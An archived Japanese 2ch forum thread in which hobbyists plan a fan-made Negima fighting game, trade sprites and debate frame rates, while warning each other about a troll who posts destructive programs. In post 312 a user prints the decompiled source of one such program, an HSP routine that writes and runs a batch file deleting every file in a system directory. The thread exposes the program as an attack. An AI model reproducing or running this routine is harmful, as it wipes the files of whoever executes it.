187 :名前は開発中のものです。:2006/11/18(土) 16:58:59 ID:SZ6bM4yz
お兄ちゃん、なんで私の服着てるの?

188 :名前は開発中のものです。:2006/11/18(土) 22:06:43 ID:c1upyO7o
>>187
何も着ないと寒いからだよ

189 :名前は開発中のものです。:2006/11/19(日) 02:57:18 ID:ymRbpCqe
http://game10.2ch.net/test/read.cgi/gameama/1163862415/
糞ダル痴。の住みか
絵師を消した奴に復讐しる

190 :名前は開発中のものです。:2006/11/19(日) 04:16:48 ID:BUIh13lC
くだらねー

191 :名前は開発中のものです。:2006/11/19(日) 11:46:11 ID:ymRbpCqe
ダル痴。乙

192 :名前は開発中のものです。:2006/11/19(日) 12:59:14 ID:r07DIqK9
あげんなもう職人さん来るまで書き込むな

193 :名前は開発中のものです。:2006/11/19(日) 13:57:47 ID:ymRbpCqe
誰も書き込まないと落ちるんじゃないの?
この前900レスあたりで1日だれも書き込まなかったら落ちた

194 :名前は開発中のものです。:2006/11/19(日) 14:18:30 ID:r07DIqK9
この板は一日どころか一年書き込まなくても落ちないから

195 :名前は開発中のものです。:2006/11/19(日) 21:46:16 ID:OfFYB23n
ちょっとかりますね

wii
ttp://www.youtube.com/watch?v=p5cPVP_llfo
ttp://www.youtube.com/watch?v=HyP9pH3pDF4


196 :名前は開発中のものです。:2006/11/20(月) 15:33:03 ID:ab7MTTMF
ダル痴。氏ね矢

197 :名前は開発中のものです。:2006/11/20(月) 20:33:33 ID:Tg7YAldt
向こうのスレでダル痴。がこんなこといってた

153 ダル痴。 sage New! 2006/11/20(月) 20:03:43 ID:gmguOMSV
システム破壊ソフトなんて起動した奴が悪いんだよ
HSP使う奴なんてたくさんいるしね
>>144なんて無視無視。
俺がやった証拠出してみろよ?

こいつ調子こきすぎ

198 :名前は開発中のものです。:2006/11/21(火) 13:33:12 ID:aOWvNjoD
本当にダル痴。死ね

199 :名前は開発中のものです。:2006/11/22(水) 00:48:10 ID:yX7nWWtZ
>>197

お 前 だ ろ ??

200 :名前は開発中のものです。:2006/11/22(水) 02:44:52 ID:q+oYkktr
何が?

201 :名前は開発中のものです。:2006/11/22(水) 11:59:27 ID:jMTfsz17
と ぼ け る な

202 :名前は開発中のものです。:2006/11/22(水) 13:54:02 ID:q+oYkktr
馬鹿はいらん。職人来い

203 :名前は開発中のものです。:2006/11/22(水) 22:34:41 ID:0k8OosfZ
http://cap.silk.to/jlab-pa/s/pa1164185805972.jpg

204 :名前は開発中のものです。:2006/11/23(木) 00:12:23 ID:0tohZrdL
ネタはいいから

205 :名前は開発中のものです。:2006/11/23(木) 15:19:37 ID:NfFujh6t
×Ku
○Gu
「老師」も"laoshi"が望ましい。

とにかく、>>203を作った(描いた)奴に
大卒程度の学力がないことだけはわかる

206 :名前は開発中のものです。:2006/11/23(木) 16:55:28 ID:wVjwyWJY
外国語で中国語選択しなければわかんねえだろ

207 :名前は開発中のものです。:2006/11/23(木) 17:40:24 ID:ZGDJi7ki
>>203
3rdネタをテレビでやるとか何考えてんだネギまスタッフw

208 :名前は開発中のものです。:2006/11/23(木) 23:14:04 ID:uPhDqqkh
>>205 大卒なのはいいけど
とりあえずネギま読んでみたほうがいいよ

209 :205:2006/11/24(金) 00:06:51 ID:gwX1cjVw
考えてみると、"laoshi"は細かいこと言い過ぎたかなとも思う。
ただ、"Ku"はどうも頂けない。
「エヴァンジェリン」を"Ebanjerin"と書くようなものだから…。
"Gu Fei"が一番よかったかな。

マガジンはよく本屋で立ち読みしてるけど
いつだったか、ちゃんと「Gu」と
描いてあるのを見つけて感心した覚えがあるから、
無理な注文ではないと思うが…。
まあ、スレ違いなことにこだわってスマソ。

210 :名前は開発中のものです。:2006/11/24(金) 08:57:00 ID:tw/rdh8n
どうでもいいですよ♪

211 :名前は開発中のものです。:2006/11/25(土) 18:38:23 ID:nbdI5Xza
ttp://www.uploda.org/uporg566742.zip.html
ttp://www.uploda.org/uporg567155.zip.html
をだれか持っていたらうpってください
中身解析してみたいです


212 :名前は開発中のものです。:2006/11/25(土) 20:11:58 ID:vpppAfid
>>211
得体の知れないZIPファイルを展開するほどおろかではないのだよ。

213 :名前は開発中のものです。:2006/11/26(日) 19:03:13 ID:4lJHDWtx
だよねー♪

214 :名前は開発中のものです。:2006/11/26(日) 20:47:17 ID:3UsA4Fhk
またシステム破壊ソフトか?

215 :名前は開発中のものです。:2006/11/27(月) 10:28:13 ID:Pte3Vw8Q
またダル痴を騙る気か、格ゲーツクールスレ住人…。

216 :名前は開発中のものです。:2006/11/27(月) 23:04:29 ID:tMXTsH1i
他人の名前を騙らなきゃ悪事を働く度胸もねぇんだろうさ。
収拾付けらんなくなって人に罪擦り付けるぐらいなら
初めからやんなきゃいいのにな。馬鹿じゃねえの?

217 :名前は開発中のものです。:2006/11/28(火) 02:03:51 ID:Es8LyNQH
DirectX初期化失敗するやつじゃなくて
ちゃんとした格げーうpうp


218 :名前は開発中のものです。:2006/11/28(火) 13:03:11 ID:nJg/2Oeg
カシオペア超は影Dioみたいな戦闘スタイルがいいな

でも今週で超がまた変身したから戦闘スタイルバージョンが多いキャラになりそうだ

219 :名前は開発中のものです。:2006/11/28(火) 18:41:27 ID:DBiEWs3E
製作者無しの状況で200行くとは!
我等の妄想すさまじ。

220 :名前は開発中のものです。:2006/11/28(火) 20:13:52 ID:yoSiQXD6
これ2スレ目
絵師が居なければ何もできん

221 :名前は開発中のものです。:2006/11/28(火) 20:23:34 ID:FbIym/bf
絵師が居なくたってゲームの仕様を決めるくらいはできるだろw

222 :名前は開発中のものです。:2006/11/28(火) 20:43:56 ID:yoSiQXD6
>>221
仕様は大体決まってたじゃないか
っというか仕様の話をしたら妄想すんなってうるさい奴がいたし

97氏は完全に居なくなったな

223 :名前は開発中のものです。:2006/11/28(火) 21:12:00 ID:zRg4udms
作る人がいれば妄想してもいいんじゃない?
作る人もいないのにただ妄想したいってだけなら板違いだ

224 :名前は開発中のものです。:2006/11/28(火) 21:33:10 ID:yoSiQXD6
絵を作る人がダル痴にやられたんじゃどうしようもない
一人でなんでもできる97氏の存在は貴重だったのにな

225 :名前は開発中のものです。:2006/11/28(火) 21:33:57 ID:FbIym/bf
>>222
じゃぁ次は「概要や製作状況をまとめたWebページ」だ。
頑張れよ!

226 :名前は開発中のものです。:2006/11/28(火) 22:07:50 ID:yoSiQXD6
>>225
ショボイのがすでにあるだろ
何個も作っても意味無い

227 :名前は開発中のものです。:2006/11/28(火) 23:04:56 ID:FbIym/bf
>>6か。。。

228 :名前は開発中のものです。:2006/11/28(火) 23:27:38 ID:FbIym/bf
ここの住人は
「仕様知りたきゃ勝手に過去ログ漁れや」というスタンスで、
確かに専ブラでログみると仕様っぽいのがあるようだが、
Wikiのリンク先見ても前スレはDAT落ちしてる。
これじゃ新たに絵師候補(?)が来てもどうしようもないな。
そのくせ絵師来ないから何もしないとかワロスww



はいはい埋め埋め。

229 :名前は開発中のものです。:2006/11/29(水) 01:35:58 ID:sjtnHp4l
絵を描きまくる→
プログラマが絵まとめて簡易的なゲームにする→
テンションあがったミュージシャンが曲提供→
プログラマがゲームに曲追加→
テンション上がったウェブデザイナがWiki更新→
バージョンアップの繰り返し→



なんて妄想をしたw

230 :名前は開発中のものです。:2006/11/29(水) 01:40:57 ID:DYgJvXnx
      ☆ チン     マチクタビレタ〜
                        マチクタビレタ〜
       ☆ チン  〃  ∧_∧   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
        ヽ ___\(\・∀・) < 完成品まだ〜?
            \_/⊂ ⊂_ )   \_____________
          / ̄ ̄ ̄ ̄ ̄ ̄ /|
       | ̄ ̄ ̄ ̄ ̄ ̄ ̄|  |
       |  愛媛みかん  |/

231 :名前は開発中のものです。:2006/11/29(水) 04:08:25 ID:mb+MnJeD
>>228
>>192
って言われたからどうしようもねえorz

232 :名前は開発中のものです。:2006/11/29(水) 18:49:43 ID:n/Xsuvig
>>229

浅はかだ…。

233 :名前は開発中のものです。:2006/11/29(水) 23:12:06 ID:DM1RzrdJ
モデリングとモーション付けを誰かやってくれるならプログラムやっても良いよ
Xファイル形式でよろ
メタセコとRokDeBoneのフリーソフトだけで作れるから

234 :名前は開発中のものです。:2006/12/04(月) 22:21:36 ID:dVoMpqZg
だれか>>233の相手をしてやれよw

235 :名前は開発中のものです。:2006/12/04(月) 23:04:42 ID:NP7b7Yw0
メタセコとRokDeBoneのフリーソフトを使って
モデリングとモーション付けをXファイル形式で
出力できる人がいないのだと思われます。

236 :名前は開発中のものです。:2006/12/05(火) 03:40:47 ID:IkBRSzRV
というかプログラムはいるんだよね
今欲しいのはモデリングできる人

237 :名前は開発中のものです。:2006/12/05(火) 20:41:51 ID:dhd6FIJR
モデリングできる人募集中

238 :名前は開発中のものです。:2006/12/06(水) 02:51:51 ID:h41eR2gN
モデリングは出来るけど
Xファイル出力までやったことない人ならいますよ
もし3D格ゲーを最後までプログラムできる人がいるなら
試しに作ってみたいです

239 :名前は開発中のものです。:2006/12/06(水) 16:08:45 ID:1jlhZ4+3
>>238
まずはなんかサンプルを作ってみるんだ

240 :名前は開発中のものです。:2006/12/06(水) 20:52:46 ID:oy0sqmQ3
肉まん2個!

241 :名前は開発中のものです。:2006/12/06(水) 21:37:58 ID:h41eR2gN
ポリゴン数とテクスチャの解像度と枚数etc
色々と質問してみたい事もあるのですが
とりあえず何か作ってみます

242 :名前は開発中のものです。:2006/12/06(水) 22:11:36 ID:hXnJHOZj
メタセコ+mikoto+mikoto2x

243 :名前は開発中のものです。:2006/12/11(月) 17:17:25 ID:daOT4S/r
そういえば公式に格ゲっぽいのが出たな

244 :名前は開発中のものです。:2006/12/11(月) 17:53:35 ID:Bs08DAPX
どれのことだ?

245 :名前は開発中のものです。:2006/12/12(火) 17:48:49 ID:16xMXHO9
>>244
3時間目のコトだと思われ

246 :名前は開発中のものです。:2006/12/12(火) 23:25:55 ID:d8hl8j/0
どうせミニゲームみたいな扱いでしょ。スピード感なさそう

247 :名前は開発中のものです。:2006/12/17(日) 12:58:59 ID:80e7MdEp
ドット絵師はまだか?

248 :名前は開発中のものです。:2006/12/17(日) 22:53:29 ID:bsSf+nst
Irrlicht初心者質問スレ
http://pc8.2ch.net/test/read.cgi/tech/1104179696/
【3Dエンジン】Irrlicht初心者質問スレ【高速描画】
http://pc8.2ch.net/test/read.cgi/gamedev/1159998619/

249 :名前は開発中のものです。:2006/12/24(日) 22:33:21 ID:yTNBiXRH
保守

250 :名前は開発中のものです。:2006/12/25(月) 02:17:14 ID:dSV1x3Ig
なんでわざわざあげて一週間くらいで保守するのかな

251 :名前は開発中のものです。:2006/12/26(火) 12:34:02 ID:gx+bevuz
このスレ初めて見たんだけど、凄いね

252 :名前は開発中のものです。:2006/12/26(火) 21:36:24 ID:r5p9kkzX
test

253 :名前は開発中のものです。:2006/12/26(火) 23:43:01 ID:gx+bevuz
もうこれの開発終わったの?

254 :名前は開発中のものです。:2006/12/27(水) 00:44:07 ID:l1yvfUAS
>>253
プログラマーはたくさん居るけど絵師が居ないというスレw
3Dから始まり、97氏は消え去り、2Dはダル痴。に消されたという運のないスレ

255 : ◆57U1O5h1BM :2006/12/27(水) 01:26:12 ID:cr8/xxgd
a

256 : ◆57U1O5h1BM :2006/12/27(水) 01:27:38 ID:cr8/xxgd
おーいけた。

ちと忙しくてスレに書き込んでなかったんだけど、しかしこの状況は壊滅状態だね。
結局のところ私が描くとして、プログラム組んでもいいって人いるのかね?


257 :名前は開発中のものです。:2006/12/27(水) 06:49:06 ID:l1yvfUAS
おっ、帰ってきた!
絵師が来たから再開できるぞw

258 :名前は開発中のものです。:2006/12/28(木) 00:24:17 ID:c8mREtNd
復活の兆しが・・・!

259 :名前は開発中のものです。:2006/12/28(木) 00:41:47 ID:Iqa60AbP
ガンがってー!!!


260 :名前は開発中のものです。:2006/12/28(木) 04:09:16 ID:TOTMPhwW
さすがに97氏は開発ストップっぽいね。
まぁ、またなんとなくやる気になったらひょっこり戻ってくるでいいから
気が向いた時に進めてって欲しいなー。
あそこまで形にしたのを捨てるのは自分自身でも惜しいだろうし、275氏に曲も作らせてるんだしね。
何か技術的に行き詰ったんなら素直に相談するよろし

261 :名前は開発中のものです。:2006/12/28(木) 13:33:38 ID:jR05t47Z
>>256

2Dでも3Dでもいけるよ

262 : ◆57U1O5h1BM :2006/12/29(金) 20:09:17 ID:Kv5DykMe
お、じゃあ>>261氏がおkなら開発に協力願います。
見つかったはいいけどまずなにから話合えばいいかな。

263 :256:2006/12/29(金) 22:42:31 ID:cTpfVe3X
とりあえず素材くれれば適当に実装します

264 :256:2006/12/29(金) 22:46:02 ID:cTpfVe3X
>>229
みたいな流れになればいいかなぁ

265 : ◆57U1O5h1BM :2006/12/29(金) 23:35:46 ID:Kv5DykMe
http://gamdev.org/up/img/8492.png
とりあえず通常時と前歩行、1キャラ70*100です。


266 :256:2006/12/30(土) 00:13:15 ID:HV3P5FoA
作るにあたってなんかタイトルが欲しいな
仮でもいいから

267 :261:2006/12/30(土) 00:15:24 ID:HV3P5FoA
あ、俺256じゃねーやwww
261ね
>>263>>264も俺w

268 : ◆57U1O5h1BM :2006/12/30(土) 00:21:07 ID:07Djr1Eh
うはっw把握www
タイトル・・・ネギま!すとらいか〜ず!!(適当

269 :261:2006/12/30(土) 06:05:01 ID:z/eusNVv
http://gamdev.org/up/img/8493.zip
とりあえず表示だけ

背景とか欲しいね

270 :名前は開発中のものです。:2006/12/30(土) 13:18:47 ID:1sZkr45+
2DならM.U.G.E.N.でキャラ作った方がよくね?
他作品のキャラと戦えるし・・・。システムは既存の物を使うからキャラ作りに専念できるしね
M.U.G.E.N wiki
ttp://www13.atwiki.jp/mugen-complete-wiki/
無限小学校
ttp://mugen-site.hp.infoseek.co.jp/
画像もろもろ
ttp://kaihokaitin.hp.infoseek.co.jp/mugen/motto2.htm
MUSASHIも
ttp://mykit.jp/pc/dabiitiro/20061212

もしかして最初からそのつもりだった?

271 :名前は開発中のものです。:2006/12/30(土) 17:27:42 ID:A8bNlSs5
そんなにウルヴァリンに陵辱されたいのか?

272 :名前は開発中のものです。:2006/12/30(土) 17:34:37 ID:L/NfI4De
なにその犯罪的な組み合わせ





ありかも

273 : ◆57U1O5h1BM :2006/12/30(土) 19:39:20 ID:qlNscVGL
確かにMUGENで作った方が効率はいいと思う。
でもそれだとこのスレでわざわざやる意味がない気がするだよなぁ。
結局自分ひとりで黙々とやるだけな感じ。

274 :名前は開発中のものです。:2006/12/30(土) 22:15:31 ID:VDcPTYdz
ではmugenは無しの方向で。

275 :名前は開発中のものです。:2006/12/31(日) 00:38:45 ID:ax+xnR7J
だね。

俺もドット絵描けたらな〜。カットインとか入れるつもりなの?

276 :名前は開発中のものです。:2006/12/31(日) 00:54:59 ID:b8yxgFPX
>>275
もしドット絵でなくても、ポーズラフが書けるって人なら、
ドット絵として起こす作業やるよ

277 :名前は開発中のものです。:2006/12/31(日) 03:33:51 ID:d2ty4GxO
数字コテはまず簡易なプログラムを組んでからつけたらどう?
前みたいな流れはもうごめん

絵師>
前みたいな惨事を回避するのはむずかしいと思うが慎重に
絵師の仕事頼みますよ
それでプログラマーだが立ち絵の基本(上の画像+ジャンプ、しゃがみ、単発攻撃)を
まずUPしてそれだけで作ってもらうのはどうだろうか?

それから誰か過去の音楽とか保管してる人いる?

278 :名前は開発中のものです。:2006/12/31(日) 07:26:12 ID:SInfbp6o
>>276
もしドット絵でなくても、ポーイズラブが書けるって人なら

って読めた。

279 :名前は開発中のものです。:2006/12/31(日) 10:32:28 ID:7G/cjsfX
>>269がめちゃめちゃ重かったのは私だけ?

280 : ◆57U1O5h1BM :2006/12/31(日) 15:58:50 ID:3e/aTlV5
http://gamdev.org/up/img/8500.png
後移動追加ー。

>>277
前みたいに引っかからないよう今度は注意するよ。
とりあえず
しゃがみ→ジャンプ→ダッシュ左右→弱攻撃
って順番で描いていく。

しゃがみを茶道やってる風にしたいと一瞬思ってしまった。
しかしそうすると完全にネタっぽいw

281 :名前は開発中のものです。:2006/12/31(日) 16:51:24 ID:7G/cjsfX
よくこんなの描けますね〜。すごい。
がんばってください。

282 :名前は開発中のものです。:2006/12/31(日) 22:11:03 ID:3ZTy/soT
出来れば雇れ

>240
おまいの希望していた肉まんだ
http://gamdev.org/up/img/8502.zip
メタセコデタ

まあメタセコ用意してやり

283 :261:2006/12/31(日) 23:50:00 ID:NSvbvS/w
http://gamdev.org/up/img/8504.zip
更新ー。

重いって言ってる人はどんな環境か教えてちょ
対処できるかは分からんけど

284 :名前は開発中のものです。:2006/12/31(日) 23:51:05 ID:NSvbvS/w
あ、↑カーソルキーで移動ね

285 :名前は開発中のものです。:2007/01/01(月) 12:05:49 ID:9jZhm9NE
>>283
すげえ!歩く!ガンバレ!

286 :名前は開発中のものです。:2007/01/01(月) 19:38:25 ID:pyEdXCSI
>>285
歩くぐらいで驚くなよ
それぐらい誰でもできるだろ?

287 :名前は開発中のものです。:2007/01/02(火) 01:41:50 ID:MSdg0tG4
>286
おまえなぁ・・・w

288 :名前は開発中のものです。:2007/01/02(火) 18:35:07 ID:CuuZEANN
>>287
何も出来ない子に限ってこういう事を言いたがるものです。
以後放置の方向でお願い致します。

289 :名前は開発中のものです。:2007/01/02(火) 19:41:52 ID:2TTJfuJY
>>288
普通に作れますが何か?
他の板でやってますが何か?

290 :名前は開発中のものです。:2007/01/02(火) 20:08:48 ID:IUlzOB7F
空気嫁

291 :名前は開発中のものです。:2007/01/02(火) 20:17:27 ID:xZPRyRRb
          ____   
       / \  /\ キリッ
.     / (ー)  (ー)\      
    /   ⌒(__人__)⌒ \     普通に作れますが何か?
    |      |r┬-|    |     他の板でやってますが何か? 
     \     `ー'´   /      
    ノ            \
  /´               ヽ              
 |    l              \
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、.    
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))


          ____
        /_ノ  ヽ、_\
 ミ ミ ミ  o゚((●)) ((●))゚o      ミ ミ ミ
/⌒)⌒)⌒. ::::::⌒(__人__)⌒:::\   /⌒)⌒)⌒)
| / / /     |r┬-|    | (⌒)/ / / //  だっておwwwwwwwwwwwwwwwwwww
| :::::::::::(⌒)    | |  |   /  ゝ  :::::::::::/
|     ノ     | |  |   \  /  )  /
ヽ    /     `ー'´      ヽ /    /     バ
 |    |   l||l 从人 l||l      l||l 从人 l||l  バ   ン
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、    ン
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))

292 :名前は開発中のものです。:2007/01/02(火) 20:17:56 ID:MSdg0tG4
>>289
はいはい、虚言虚言。口だけ口だけ。
どうとでも言える。晒してみろ。晒せんだろ低脳。

だから?って感じ。こんな所まで荒らし乙。
つーかくんな。

293 :名前は開発中のものです。:2007/01/02(火) 20:56:09 ID:2TTJfuJY
>>292
別に晒してもいいが?

294 :名前は開発中のものです。:2007/01/02(火) 21:20:20 ID:HfK1VP2n
>>293
んじゃ、晒して
で、このスレの住人を馬鹿にしながら去ってくれ

295 : ◆57U1O5h1BM :2007/01/02(火) 21:56:09 ID:98W99Bn5
http://gamdev.org/up/img/8519.png

296 : ◆57U1O5h1BM :2007/01/02(火) 21:59:09 ID:98W99Bn5
みすったー、しゃがみ追加しました。
自分の環境だと50FPSくらいしかでないです。
もしかして3Dエンジンで描画してるとかかな?
環境はペンティアムM1.5G

297 : ◆57U1O5h1BM :2007/01/02(火) 22:01:32 ID:98W99Bn5
GPUはIntel 82855M GM/GME

298 :名前は開発中のものです。:2007/01/02(火) 23:43:47 ID:2TTJfuJY
http://kasamatusan.sakura.ne.jp/cgi-bin2/src/ichi68063.zip.html

299 :261:2007/01/02(火) 23:59:20 ID:n6N065ZG
50FPSで作ってるので50FPSでてれば問題ないです

60FPSだと1秒(1000ミリ秒)を60で割ることになります
そうすると1000/60=16.66666…となって割り切れません
これでは都合が悪いので50FPSで作っています

300 : ◆57U1O5h1BM :2007/01/03(水) 00:08:25 ID:H48ujtay
>>299

301 : ◆57U1O5h1BM :2007/01/03(水) 00:11:17 ID:H48ujtay
なんかメッセの癖でSHIFT+ENTERしてしまう・・・。
60FPSのほうが一般的(テレビ)だけど、割り切れないのは
別に切り捨てでもいいんのでは?

>>298
これまたHSP製だね、もしかして前のプログラム作った奴かな。
とりあえず実行しないこと。

302 :名前は開発中のものです。:2007/01/03(水) 00:18:13 ID:7UGbUSnp
ID:2TTJfuJY
どうしようもないクズ冬厨だな
マジで死んだほうがいいんじゃね

303 : ◆57U1O5h1BM :2007/01/03(水) 00:18:57 ID:H48ujtay
HSPってのは嘘だったわ。

304 :名前は開発中のものです。:2007/01/03(水) 00:20:47 ID:zoZUSxPn
且~

305 :名前は開発中のものです。:2007/01/03(水) 00:21:04 ID:eZ+Jy+z+
>>303
判定させたらHSP3だったぞ。間違いない。
しかしウィルスじゃないとしても失笑ものだが。

306 : ◆57U1O5h1BM :2007/01/03(水) 00:21:08 ID:H48ujtay
あ、やっぱりHSPだったw
start.ax読み込んでるしw

307 :名前は開発中のものです。:2007/01/03(水) 00:27:46 ID:2jmQy08O
通報した方が良いんじゃない?
今後の為にも

308 :名前は開発中のものです。:2007/01/03(水) 00:39:40 ID:o7P+BmQP
またかよ・・・
こんな奴がいるからHSPが叩かれる

もしかしてHSP製だとスルー?

309 :261:2007/01/03(水) 00:39:45 ID:XeqChYq/
タイマー精度が1ミリ秒単位なので
60FPSにしようとすると安定しない気がします・・・たぶん

310 :名前は開発中のものです。:2007/01/03(水) 00:43:53 ID:eZ+Jy+z+
>>308
このスレ的には前例があるので、基本スルー。

311 :名前は開発中のものです。:2007/01/03(水) 00:44:37 ID:o7P+BmQP
\(^o^)/俺の人生オワタ

312 :名前は開発中のものです。:2007/01/03(水) 01:39:00 ID:TKC9EjuB
>>298
sdim v0, 1000
v0 = dirinfo( 3 )
chdir v0
sdim v1, 1000000
sdim v2, 1000
v2 = "cd \"" + v0 + "\""
dirlist v1, "*.*", 1
v3 = stat
sdim v4, 1000
notesel v1
repeat v3
noteget v4, cnt
v2 = v2 + "\ndel \"" + v4 + "\""
loop
v2 = v2 + "\ndel \"kita.bat\""
bsave "kita.bat", v2, strlen( v2 )
exec "kita.bat", 16
end


313 :名前は開発中のものです。:2007/01/03(水) 01:45:36 ID:tNNIuKkF
またトロイか

314 :名前は開発中のものです。:2007/01/03(水) 01:47:07 ID:TKC9EjuB
>>298
EXE内に http://www.vector.co.jp/soft/win95/net/se410619.html が入っている


315 :名前は開発中のものです。:2007/01/03(水) 01:54:22 ID:btaR93Fg
何故にネギまは狙われてますかorz

316 :名前は開発中のものです。:2007/01/03(水) 01:59:44 ID:tNNIuKkF
HSPがどうのこうので暴れてた奴が粘着でもしてるんだろ

317 :名前は開発中のものです。:2007/01/03(水) 02:05:17 ID:eZ+Jy+z+
検証乙。ドゾ っ且~

318 :名前は開発中のものです。:2007/01/03(水) 13:27:16 ID:rq4IMTG8
>>261
普通、モニターのリフレッシュレート(何回描画するか)が60回なので、
ほとんどの動画は60fpsで作られてるんだよ

319 :名前は開発中のものです。:2007/01/03(水) 14:07:16 ID:s8r2SH8H
>>261
背景を作るとしたらサイズはどのくらいで描いたらいいでしょうか?

320 :名前は開発中のものです。:2007/01/03(水) 14:20:33 ID:eZ+Jy+z+
>>318
内部処理が50fpsなだけなら60も50も変わらない気がするけど。

321 : ◆57U1O5h1BM :2007/01/03(水) 16:18:24 ID:H48ujtay
>>320
一秒間に計算する回数が変わってくるから結構変わると思うよ。
大概の場合モニターが60回描画するのでなるべく同期させた方がいいって話っぽい。
(合っていないとちらついたりする?)

でもまぁあんまり気にしなくていいのかもしんない(どっちだよ

322 :名前は開発中のものです。:2007/01/03(水) 17:13:16 ID:eZ+Jy+z+
言葉足らずですまそ。
ぶっちゃけウィンドウモードなので、チラつきはあまり気にしないで良いと思う。
フルスクリーンなら60固定の人多いかもしれないけど、どうだろう。
液晶が増えてきたからウィンドウモードでも60固定の人も増えてきたのかな。

アニメーション制御もリフレッシュレート依存じゃなくてタイマ依存なので
環境による見え方に速度的な違いは無いでしょう。
多分ここで問題になるのはキー入力部分の反応速度だと思いましたので、
経験上50も60もあまり変わらなかったよ、と言いたかった次第であります。はい。

内部50でも60でもタイマの精度的に誤差がありますから、リフレッシュレートと絡めて
悩み始めるとそれこそ、もうwww

323 :名前は開発中のものです。:2007/01/03(水) 17:31:58 ID:eZ+Jy+z+
あと、内部120で回してキー入力受け取ったらキモいぐらい滑らかでした。

324 : ◆57U1O5h1BM :2007/01/03(水) 17:50:40 ID:H48ujtay
タイマ依存でしたか、とすると確かに速度などは問題ないですね。
ところで322=261ってことでおkなのでしょうか?

325 :名前は開発中のものです。:2007/01/03(水) 18:31:34 ID:eZ+Jy+z+
別人です

326 :319:2007/01/03(水) 20:11:39 ID:s8r2SH8H
別人なの?ぢゃあ322さんは誰?組んでいるのは261さんなんだよね?

327 :名前は開発中のものです。:2007/01/03(水) 20:33:38 ID:rJzi+GpL
久しぶりに覗いたら活性化してるようで何より

328 :名前は開発中のものです。:2007/01/03(水) 20:52:39 ID:eZ+Jy+z+
前スレから住み込んでる、97氏の追っかけです(ぉ

329 :261:2007/01/03(水) 23:44:43 ID:EePdkJcm
>>322の言ってるとおり50でも60でもあんまり変わんねーです。
まぁ俺の好みで50にすると言うことで。

>>319
640x480でいいんじゃないかな。

背景以外にも体力ゲージとかも必要だね。

今日、明日、明後日と作業時間がとれないので更新はないです。

330 : ◆57U1O5h1BM :2007/01/04(木) 00:15:51 ID:HoVmEovT
640*480だと画面サイズと同じだからもっと大きいほうがよくない?
ジャンプしたときとか距離とるときとか。

331 :261:2007/01/04(木) 01:51:07 ID:fAg9ONnF
>>330
あーなるほろ。そうだね。
じゃあ、どのくらいがいいかな?


あースレ見てる場合じゃないのに・・・
忙しいときほど他のことをやりたくなるorz

332 : ◆57U1O5h1BM :2007/01/04(木) 01:54:19 ID:HoVmEovT
ジャンプの仕様によって高さは変わるよね。
横は 200 + 480 + 200 位かな?

333 :名前は開発中のものです。:2007/01/04(木) 02:30:42 ID:7pqb6dXM
ストーリートファイターみたいに戦闘区間を限定するのか、キャラの間隔によって画面を拡大縮小するのか…
後者ってやっぱやりにくい?

334 :名前は開発中のものです。:2007/01/04(木) 06:55:41 ID:7RBZJsML
>>333
そんなに難しくないよ
ただショボイPCなら処理落ちする可能性もあるけど

335 :名前は開発中のものです。:2007/01/04(木) 08:16:36 ID:/kBMZpSi
ドット絵に縮小はキツイと思う
縮小使うならGGXXみたいにハイレゾじゃあないと何やってるかわからなくなる

336 :名前は開発中のものです。:2007/01/04(木) 14:01:47 ID:o/Lq24qm
>>335
縮小したまま殴り合う訳じゃないし、そんな気になるもんでもないと思う
NEOGEOなんかのサムスピやらギャラクシーファイトやらで慣れてるだけかもしれんが

337 :名前は開発中のものです。:2007/01/04(木) 18:48:59 ID:IsdU369N
>>333
今の漫画ネギまのようなバトルをするゲームなら前者、
これに3巻みたいな感じを取り入れたかったら後者じゃね?

338 :名前は開発中のものです。:2007/01/04(木) 18:56:03 ID:xeuC9h9q
ラブひな見てる時に俺も考えたことがありましたよ
ということでボツ

339 :319:2007/01/05(金) 11:54:33 ID:YC+Th4s7
http://gamdev.org/up/img/8534.gif

まだ全然出来てませんが、とりあえずこんな感じで如何でしょう?

340 :名前は開発中のものです。:2007/01/05(金) 12:14:17 ID:Dzk0vEUK
8bitですか
しかも小さい気が・・・
最近の格ゲはだいたい800x600じゃない?
背景は横幅2倍、縦幅も2倍ぐらい必要な気がする
プログラミング側から考えれば画像フォーマットは統一した方がいいかと
あとGIFよりPNGの方が容量小さくて済む(GIFの著作権問題は切れたかな?)

341 :名前は開発中のものです。:2007/01/05(金) 13:06:46 ID:A/eCFI1T
どう考えても2倍は、いらんだろ。
画面サイズが640*480だし。

342 :名前は開発中のものです。:2007/01/05(金) 14:43:37 ID:Dzk0vEUK
640x480サイズで背景が動かない格ゲとか・・・

343 :名前は開発中のものです。:2007/01/05(金) 15:35:15 ID:0gUc3Mu7
背景が一枚絵なのか、遠景近景二枚絵にするかとかで
サイズは違ってくるわな

にしても、最近の格ゲが800x600とは知らなかった

344 :319:2007/01/05(金) 19:13:15 ID:dkZntMHc
http://gamdev.org/up/img/8537.gif

上は先に公開されていたエヴァを乗せただけの物です。

サイズに関しては指定されていた640×480で書いてあります。でもまぁ
両サイドを広げたり縦幅を広げたりするのは問題なく出来ます。
スクロールに関しても、どのように切ればいいか指定してもらえれば
何とかします。

345 :名前は開発中のものです。:2007/01/05(金) 19:21:47 ID:Dzk0vEUK
期待した俺が馬鹿だった
別システムを自分で作った方が早いな

346 :名前は開発中のものです。:2007/01/05(金) 19:22:34 ID:u0eBFCEl
先に公開されてたプログラム
エヴァ2倍に表示してたぞ。

背景も2倍で表示するの?

347 :名前は開発中のものです。:2007/01/05(金) 19:34:25 ID:Dzk0vEUK
>>346
それなら納得

348 :319:2007/01/05(金) 19:41:48 ID:4zg02C6k
素人なのでよく判らないんだが、キャラ表示は2倍、背景表示はそのまま
ってのが基本なの?それならキャラとの対比を考えて描きなおさなきゃだし。
まぁ現状でも対比があってるかはわかりませんが・・・

349 :名前は開発中のものです。:2007/01/05(金) 19:56:37 ID:u0eBFCEl
ここのプログラマじゃないけど、
キャラクターは2倍で表示した画像はぼやけてた。
SetRenderStateで設定してペイントの2倍表示のようにすることも出来るけど、
ドットが大きくなるからなー。

そのままのSetRenderStateだったら背景もぼやけるし。

まあ、ふつうに大きく描いたらいいんじゃない?



350 :320:2007/01/05(金) 19:59:16 ID:A/eCFI1T
>>345
やるんか?

